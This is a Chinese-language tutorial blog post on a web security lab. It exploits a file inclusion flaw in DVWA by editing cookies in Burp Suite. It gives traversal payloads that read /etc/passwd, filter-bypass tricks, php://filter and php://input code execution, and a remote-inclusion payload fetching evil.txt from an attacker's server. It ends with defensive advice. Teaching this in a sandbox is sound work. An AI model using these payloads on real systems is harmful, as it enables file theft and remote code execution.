1. 项目概述一次从零开始的Web安全实战演练最近在帮朋友的公司做内部安全审计发现很多开发同学对Web应用安全的理解还停留在“用框架就安全了”的层面。特别是文件包含这类看似“古老”的漏洞在不少自研系统里依然存在。正好借着这个机会我想把一次完整的、从零开始的漏洞发现与利用过程记录下来。这次我们不谈复杂的理论就从一个真实的测试场景出发手把手演示如何利用Burp Suite这个“瑞士军刀”来抓包、分析、并最终通过修改Cookie触发一个FileInclude漏洞。无论你是刚入门安全测试的新手还是想巩固实战流程的开发者这篇记录都能给你提供一个清晰的、可复现的操作路径。整个过程的核心就是理解HTTP请求的每一个部分都可能成为攻击的入口而Cookie往往是被忽视的“后门”。2. 环境搭建与目标分析2.1 测试环境准备构建一个安全的沙箱在开始任何安全测试之前搭建一个与生产环境隔离的测试环境是首要原则这既是职业道德也是法律要求。我通常会在本地虚拟机或专用的测试服务器上部署靶场环境。对于文件包含漏洞的学习DVWADamn Vulnerable Web Application或bWAPP是非常好的选择它们内置了各种安全漏洞的练习模块并且可以自由调节安全等级。我这次选用的是DVWA运行在Docker容器中。这样做的好处是环境纯净、隔离性好并且可以一键重置。使用命令docker run --rm -it -p 80:80 vulnerables/web-dvwa即可快速启动。启动后访问本地的80端口按照提示完成安装默认数据库密码为pssw0rd并将安全级别设置为“Low”这样我们才能清晰地看到漏洞的原始形态。记住我们的所有操作都仅限于这个自我控制的沙箱环境。2.2 目标漏洞原理浅析为什么文件包含是危险的在动手之前花几分钟理解漏洞原理至关重要。文件包含漏洞通常发生在应用程序使用用户可控的输入如URL参数、Cookie值、表单数据来动态包含文件时。编程语言如PHP中的include()、require()等函数如果未对输入进行严格过滤攻击者就可以通过目录遍历../../../etc/passwd或远程文件包含http://攻击者服务器/shell.txt来读取敏感文件或执行任意代码。而通过Cookie来利用是一种相对“偏门”但有效的方式。很多开发者在编写代码时会习惯性地从$_GET、$_POST中获取参数并过滤却容易忽略$_COOKIE这个同样用户可控的输入源。例如一段有问题的代码可能长这样// 从Cookie中读取‘language’参数来决定包含哪个语言文件 $language $_COOKIE[‘language’]; include(‘/includes/’ . $language . ‘.php’);如果开发者没有对$language进行任何检查攻击者只需将Cookie中的language值修改为../../../etc/passwd就可能导致服务器读取系统密码文件。理解了这个逻辑我们后续的每一步操作就有了明确的方向。2.3 工具配置让Burp Suite成为你的眼睛和手工欲善其事必先利其器。Burp Suite是Web安全测试的标杆工具其代理拦截功能是我们本次演练的核心。首先从官网下载Burp Suite Community Edition免费版功能足够我们使用。安装后启动在Proxy - Options中确保代理监听在127.0.0.1:8080这类端口。接下来需要配置浏览器流量通过Burp代理。以Chrome为例可以安装SwitchyOmega这类插件新建一个情景模式配置HTTP和HTTPS代理为127.0.0.1端口8080。更简单直接的方法是启动Burp后在浏览器中访问http://burpsuite下载Burp的CA证书并安装到浏览器的受信任根证书颁发机构中然后直接在系统网络设置或浏览器设置中配置代理。这一步是为了让Burp能够解密和查看HTTPS流量至关重要。配置完成后打开Burp的Proxy - Intercept点击“Intercept is on”按钮使其处于拦截状态。然后用浏览器访问我们的DVWA靶场 (http://localhost)。此时你会发现页面加载卡住了这是因为请求被Burp拦截了下来。在Burp的拦截界面你能看到原始的HTTP请求报文这就是我们后续所有操作的起点。点击“Forward”放行请求直到页面正常加载。这个“拦截-查看-放行”的流程是你需要熟悉的基本操作。3. 漏洞探测与请求分析3.1 初步信息收集观察正常的应用行为在发起攻击之前我们必须先了解应用正常是如何工作的。登录DVWA进入“File Inclusion”漏洞模块。在Low安全级别下你会看到一个简单的页面上面有“File 1”、“File 2”、“File 3”三个链接。依次点击这些链接观察浏览器地址栏URL的变化。你会发现点击后URL变成了类似http://localhost/vulnerabilities/fi/?pagefile1.php这样的格式页面内容也随之改变。这个?pagefile1.php就是典型的通过GET参数进行文件包含。页面代码很可能类似于include($_GET[‘page’]);。此时你可以尝试手动修改URL将page参数改为../../hackable/flags/fi.php如果成功显示了flag文件的内容那就证实了GET参数存在文件包含漏洞。这是最常规的利用方式但今天我们的目标是Cookie。3.2 拦截与审查深入HTTP请求的每个字节现在关闭Burp的拦截功能点击“Intercept is off”让流量正常通过。然后重新点击一次“File 1”链接。这次我们不拦截但让Burp在后台记录流量。打开Proxy - HTTP history你可以看到所有经过Burp的请求记录。找到刚才点击链接产生的GET请求仔细查看它的每一个部分。重点看两部分请求参数Request Parameters在Params标签页下清晰地列出了URL中的查询参数即pagefile1.php。这验证了我们之前的观察。请求头Request Headers在Headers标签页下找到“Cookie”这一行。DVWA的Cookie通常包含PHPSESSID会话ID和security安全等级两个字段。目前看来Cookie里并没有与page参数直接相关的信息。我们的猜想是应用程序也许存在另一段代码它会优先或同时从Cookie中读取page值。为了验证我们需要修改请求并观察响应变化。3.3 修改与重放初试Burp RepeaterBurp Suite的Repeater模块是我们进行手动测试和漏洞验证的利器。在HTTP history中右键点击我们刚才找到的那个GET请求选择“Send to Repeater”。切换到Repeater标签页整个请求报文就出现在左边编辑器里了。现在我们在请求头的“Cookie”部分动手。在现有的Cookie值末尾添加一个新的键值对。添加时需要注意格式键值对之间用分号和空格分隔。例如原本的Cookie可能是Cookie: PHPSESSIDabc123; securitylow我们将其修改为Cookie: PHPSESSIDabc123; securitylow; pagefile2.php我们添加了一个pagefile2.php。点击“Send”按钮发送这个修改后的请求。观察右边的响应Response面板。如果应用程序确实从Cookie中读取了page参数那么响应内容应该显示“File 2”的内容而不是“File 1”的内容。注意第一次尝试很可能失败因为目标代码可能并未设计从Cookie读取。但这正是测试的过程。如果失败了我们可以尝试其他参数名如file、lang、template等这些都是常见的包含变量名。同时也要注意观察应用程序的源代码如果可见或错误信息寻找线索。4. 漏洞利用实战通过Cookie实现文件包含4.1 定位敏感入口当Cookie成为控制点假设我们经过多次尝试发现当Cookie中包含language参数时页面内容发生了改变。例如发送Cookie: ...; languagefile2.php后页面显示的内容与?pagefile2.php时相同。这就强烈暗示应用程序某处存在类似include($_COOKIE[‘language’]);的脆弱代码。为了进一步确认我们可以尝试一个简单的目录遍历。将Cookie中的language值修改为../../hackable/flags/fi.php。再次发送请求。如果响应中出现了DVWA的flag一段特定的字符串那么恭喜你你已经成功通过Cookie触发了文件包含漏洞读取了服务器上的另一个文件。这个过程清晰地展示了一个不被重视的输入点Cookie如何成为绕过前端限制、直接攻击应用逻辑的通道。4.2 构造利用链从文件读取到信息获取成功实现目录遍历后我们的目标可以放得更远。在Linux系统上可以通过读取/etc/passwd文件来确认漏洞的危害性。将Cookie中的language值修改为../../../../etc/passwd多个../是为了确保能跳转到根目录。发送请求后查看响应。如果成功你会在HTML页面中看到系统的用户列表信息。这证明了攻击者可以利用此漏洞读取服务器上的任意文件在Web进程权限允许的范围内包括配置文件、源代码、日志等导致严重的信息泄露。实操心得在实际测试中路径深度需要猜测。我常用的方法是先尝试../../etc/passwd如果不行再增加../的层级如../../../etc/passwd。也可以结合错误信息来判断当前工作目录。Burp Repeater的“Send”按钮可以连续点击方便我们快速迭代测试不同的payload。4.3 利用漏洞获取Web目录绝对路径知道能读文件后一个很实用的技巧是获取Web应用的绝对路径这为后续可能的其他攻击如日志文件包含奠定基础。在PHP应用中可以尝试包含PHP自身的一个内置文件来引发错误从而泄露路径。尝试包含一个不存在的文件例如将language设置为non_existent_file.php。发送请求后观察响应。PHP很可能会抛出一个警告错误类似于Warning: include(non_existent_file.php): failed to open stream: No such file or directory in /var/www/html/vulnerabilities/fi/index.php on line X。这条错误信息直接暴露了index.php在服务器上的绝对路径/var/www/html/vulnerabilities/fi/。这个信息极其宝贵。5. 高级利用与安全加固思考5.1 远程文件包含RFI的尝试与限制本地文件包含LFI已经威力巨大而远程文件包含RFI则允许攻击者直接包含托管在远程服务器上的恶意代码从而在目标服务器上执行任意命令危害性更高。其利用条件是PHP配置中allow_url_include选项为On现代PHP版本默认均为Off。我们可以在Cookie中尝试RFI payloadlanguagehttp://你的服务器/evil.txt?。注意我在这里加了一个问号?。这是一个小技巧如果后端代码是include($language . “.php”)那么问号可以截断后面的.php后缀确保包含的是我们纯文本的恶意代码。恶意代码evil.txt的内容就是一段简单的PHP代码?php phpinfo(); ?。发送请求后如果配置允许且利用成功响应中将会出现PHP信息页表明远程代码已被执行。但在DVWA默认的Docker镜像及大多数现代环境中这个尝试会失败并返回一个“URL file-access is disabled”的警告。这恰恰说明了安全配置的重要性。5.2 从文件包含到代码执行利用PHP封装协议当RFI不可行时PHP丰富的内置封装协议Wrapper为我们提供了另一种强大的攻击向量。它们可以用于读取文件、输出源代码甚至在特定条件下执行代码。读取PHP文件源码使用php://filter协议。将Cookie中的language设置为php://filter/convert.base64-encode/resourceindex.php。这个payload会读取index.php的源代码并将其进行base64编码后输出。发送请求后你会得到一串base64编码的字符串。将其复制出来用base64解码工具或Burp Suite的Decoder模块解码就能看到该PHP文件的明文源代码。通过分析源码我们可以更精准地找到其他漏洞。尝试执行PHP代码使用php://input协议。这个协议允许你将POST请求的原始体body作为PHP代码来执行。首先将Cookie中的language设置为php://input。然后在Repeater中将请求方法从GET改为POST。在最下方的请求体Request body中写入你想执行的PHP代码例如?php system(‘whoami’); ?。发送请求如果配置允许allow_url_include为On响应中可能会显示Web服务器进程的用户名如www-data。重要注意事项php://input的利用条件较为苛刻且在高版本PHP中受到严格限制。在实际渗透测试中php://filter用于读取源码是更常见和可靠的技术。5.3 漏洞挖掘的延伸思考与防御建议通过这次演练我们看到了一个简单的Cookie参数如何演变为一个严重的安全漏洞。对于开发者而言防御此类漏洞需要遵循一些基本原则白名单校验对于文件包含这类操作最有效的方法是使用白名单。如果只需要包含少数几个已知文件如about.php,contact.php那么就直接用数组或switch-case进行映射拒绝任何不在名单内的输入。$allowed_pages [‘file1’ ‘file1.php’, ‘file2’ ‘file2.php’]; $key $_GET[‘page’]; if (array_key_exists($key, $allowed_pages)) { include(‘./includes/’ . $allowed_pages[$key]); } else { include(‘./includes/error.php’); }严格输入过滤如果无法使用白名单则必须对输入进行严格净化。禁止输入中包含任何目录遍历字符../,..\和协议标识符http://,php://。可以使用函数如basename()来只获取文件名部分但这并不能完全防御所有情况。设置PHP安全配置在php.ini中确保allow_url_fopen和allow_url_include设置为Off。将open_basedir限制在Web目录内防止跨目录访问。避免动态包含重新审视业务逻辑是否真的需要动态包含文件很多时候可以通过路由、模板引擎等更安全的方式来实现相同功能。对于安全测试人员这个案例告诉我们测试输入点一定要全面。不要只盯着URL参数和表单Cookie、HTTP头如X-Forwarded-For、User-Agent、文件名、数据库字段任何来自客户端的数据流都可能是攻击面。Burp Suite的Intruder模块可以自动化地对这些位置进行模糊测试但手动利用Repeater进行深度分析是理解漏洞本质不可或缺的一步。6. 实战问题排查与技巧实录在实际操作中你肯定会遇到各种预期之外的情况。下面是我在多次测试中总结的一些常见问题及解决思路这可能是比漏洞利用本身更有价值的经验。6.1 请求修改后无任何变化问题按照步骤修改了Cookie并发送但服务器返回的响应和修改前一模一样。排查思路缓存干扰浏览器或服务器可能缓存了之前的响应。在Burp Repeater中可以在请求头中添加Cache-Control: no-cache和Pragma: no-cache来禁用缓存。修改位置错误确认你修改的是正确的请求。有时一个页面加载会触发多个请求如主文档、CSS、JS、图片确保你修改的是触发主逻辑的那个请求通常是第一个或第二个。参数名错误应用程序可能使用其他名称从Cookie中读取数据如file、module、template、lang。需要结合应用功能进行猜测或者尝试用Burp Intruder进行暴力猜解。代码逻辑优先级可能存在多个包含点比如同时从GET和Cookie读取但代码逻辑以GET优先。此时你需要同时清空或修改URL中的GET参数才能让Cookie参数生效。6.2 包含文件时遇到路径问题问题尝试包含/etc/passwd时返回“No such file or directory”但确信路径是正确的。排查思路相对路径基准include()函数的相对路径是基于当前执行脚本的目录而非网站根目录。你需要通过错误信息或读取index.php源码来确认当前目录然后调整../的层数。路径截断在旧版本PHP中如果代码是include($input . ‘.php’)你可以使用空字符%00进行截断如../../../etc/passwd%00。但在PHP 5.3.4及以上版本空字符截断已被修复。此时可以尝试超长文件名等方式但成功率不高。编码绕过有时应用程序会过滤../可以尝试使用URL编码..%2f、双重URL编码..%252f或UTF-8编码进行绕过。6.3 使用PHP封装协议时的注意事项问题使用php://filter时得到的是乱码或没有输出。排查技巧Base64解码确保你使用了convert.base64-encode过滤器并且对返回的结果进行了base64解码。直接包含php://filter/resourceindex.php可能会因为文件中的PHP标签被解析而导致看不到源码。协议完整性php://filter的语法要写全。/resource后面跟的是要读取的文件路径可以是相对路径或绝对路径。查看原始响应在Burp Repeater的响应面板务必切换到“Raw”视图查看原始响应。有时base64编码后的内容夹杂在HTML中在“Render”视图下不显示。6.4 利用流程的思维导图与检查清单为了帮助你在实战中形成肌肉记忆我将整个利用流程总结为以下步骤和检查点信息收集浏览应用观察所有功能点、URL参数、表单、Cookie名称。流量代理配置好Burp Suite和浏览器代理确保流量可被拦截和查看。正常请求捕获一个涉及目标功能的正常请求如文件包含页面点击链接。参数发现在Burp中分析该请求记录所有用户可控的输入点GET/POST参数、Cookie、Headers。输入点测试使用Repeater逐个修改这些输入点尝试注入目录遍历payload../../../etc/passwd。漏洞确认一旦有成功迹象如返回敏感文件内容则确认漏洞存在。扩大战果尝试读取Web配置文件、源代码。尝试使用php://filter读取PHP源码。在允许的情况下尝试RFI或php://input。漏洞报告清晰记录漏洞URL、触发参数、Payload、造成的影响如读取了何文件并提供修复建议如白名单校验。最后我想强调的是工具Burp Suite只是手臂真正强大的是你的思维。理解HTTP协议、理解后端代码如何与输入交互、理解各种安全机制的局限这些才是安全测试的核心。每一次点击“Send”之前都问自己一句“我修改的这个参数服务器会怎么处理它” 养成这种思维习惯你就能在纷繁复杂的Web应用中更快地找到那条通往漏洞的隐秘小径。